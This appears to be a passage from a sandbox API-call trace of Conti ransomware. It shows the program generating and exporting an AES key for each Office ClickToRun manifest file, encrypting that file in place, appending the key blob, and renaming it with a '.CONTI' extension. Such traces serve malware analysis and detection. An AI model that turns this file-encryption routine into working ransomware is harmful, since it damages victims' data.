	[0099.094] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.094] WriteFile (in: hFile=0x348, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.096] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.096] ReadFile (in: hFile=0x348, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x7fa, lpOverlapped=0x0) returned 1
	[0099.096] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x7fa, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x800) returned 1
	[0099.096] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.096] WriteFile (in: hFile=0x348, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x800, lpOverlapped=0x0) returned 1
	[0099.097] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.097] WriteFile (in: hFile=0x348, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0099.097] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.097] CloseHandle (hObject=0x348) returned 1
	[0099.097] GetProcessHeap () returned 0x1720000
	[0099.098] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0099.098] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml"
	[0099.098] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.CONTI"
	[0099.098] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml.conti")) returned 1
	[0099.098] GetProcessHeap () returned 0x1720000
	[0099.098] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0099.098] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0099.098] GetProcessHeap () returned 0x1720000
	[0099.098] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3d00 | out: hHeap=0x1720000) returned 1
	[0099.098] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0099.098] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x17c8270) returned 1
	[0099.098] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x4d3fec4 | out: pbData=0x17d567c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0099.099] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml")) returned 0x20
	[0099.099] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0099.099] GetLastError () returned 0x0
	[0099.099] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=16148) returned 1
	[0099.099] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3f14
	[0099.100] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.100] SetEndOfFile (hFile=0x348) returned 1
	[0099.100] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.100] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.100] WriteFile (in: hFile=0x348, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.102] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.102] ReadFile (in: hFile=0x348, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x3f14, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x3f14, lpOverlapped=0x0) returned 1
	[0099.103] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x3f14, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x3f20) returned 1
	[0099.103] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.103] WriteFile (in: hFile=0x348, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x3f20, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x3f20, lpOverlapped=0x0) returned 1
	[0099.103] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.103] WriteFile (in: hFile=0x348, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0099.103] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.103] CloseHandle (hObject=0x348) returned 1
	[0099.104] GetProcessHeap () returned 0x1720000
	[0099.104] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0099.105] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml"
	[0099.105] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.CONTI"
	[0099.105] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.conti")) returned 1
	[0099.106] GetProcessHeap () returned 0x1720000
	[0099.106] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0099.106] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0099.106] GetProcessHeap () returned 0x1720000
	[0099.106] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3df8 | out: hHeap=0x1720000) returned 1
	[0099.106] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0099.106] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x17c8070) returned 1
	[0099.106] CryptExportKey (in: hKey=0x17c8070, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x4d3fec4 | out: pbData=0x17d58c4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0099.108] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml")) returned 0x20
	[0099.108] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0099.108] GetLastError () returned 0x0
	[0099.108] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=9818) returned 1
	[0099.108] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x265a
	[0099.108] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.108] SetEndOfFile (hFile=0x348) returned 1
	[0099.109] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.109] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.109] WriteFile (in: hFile=0x348, lpBuffer=0x17d58c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d58c4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.111] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.111] ReadFile (in: hFile=0x348, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x265a, lpOverlapped=0x0) returned 1
	[0099.111] CryptEncrypt (in: hKey=0x17c8070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x265a, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2660) returned 1
	[0099.111] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.112] WriteFile (in: hFile=0x348, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2660, lpOverlapped=0x0) returned 1
	[0099.112] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.112] WriteFile (in: hFile=0x348, lpBuffer=0x17d58b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d58b8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0099.112] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.112] CloseHandle (hObject=0x348) returned 1
	[0099.113] GetProcessHeap () returned 0x1720000
	[0099.113] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0099.113] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml"
	[0099.113] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.CONTI"
	[0099.113] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml.conti")) returned 1
	[0099.113] GetProcessHeap () returned 0x1720000
	[0099.113] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0099.113] CryptDestroyKey (hKey=0x17c8070) returned 1
	[0099.113] GetProcessHeap () returned 0x1720000
	[0099.113] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3ef0 | out: hHeap=0x1720000) returned 1
	[0099.113] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0099.113] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x17c8070) returned 1
	[0099.113] CryptExportKey (in: hKey=0x17c8070, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x4d3fec4 | out: pbData=0x17d244c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0099.114] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml")) returned 0x20
	[0099.115] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0099.115] GetLastError () returned 0x0
	[0099.115] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=236956) returned 1
	[0099.115] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x39d9c
	[0099.115] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.115] SetEndOfFile (hFile=0x348) returned 1
	[0099.115] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.115] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.115] WriteFile (in: hFile=0x348, lpBuffer=0x17d244c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d244c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.117] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.117] ReadFile (in: hFile=0x348, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x39d9c, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x39d9c, lpOverlapped=0x0) returned 1
	[0099.119] CryptEncrypt (in: hKey=0x17c8070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x39d9c, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x39da0) returned 1
	[0099.119] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.119] WriteFile (in: hFile=0x348, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x39da0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x39da0, lpOverlapped=0x0) returned 1
	[0099.120] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.120] WriteFile (in: hFile=0x348, lpBuffer=0x17d2440*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d2440*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0099.120] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.120] CloseHandle (hObject=0x348) returned 1
	[0099.125] GetProcessHeap () returned 0x1720000
	[0099.125] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0099.125] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml"
	[0099.125] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.CONTI"
	[0099.125] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.337] GetProcessHeap () returned 0x1720000
	[0103.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0103.337] CryptDestroyKey (hKey=0x17c8070) returned 1
	[0103.337] GetProcessHeap () returned 0x1720000
	[0103.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf438 | out: hHeap=0x1720000) returned 1
	[0103.337] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0103.337] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x17c8070) returned 1
	[0103.337] CryptExportKey (in: hKey=0x17c8070, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x4d3fec4 | out: pbData=0x17d5b0c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0103.339] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml")) returned 0x20
	[0103.368] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0103.368] GetLastError () returned 0x0
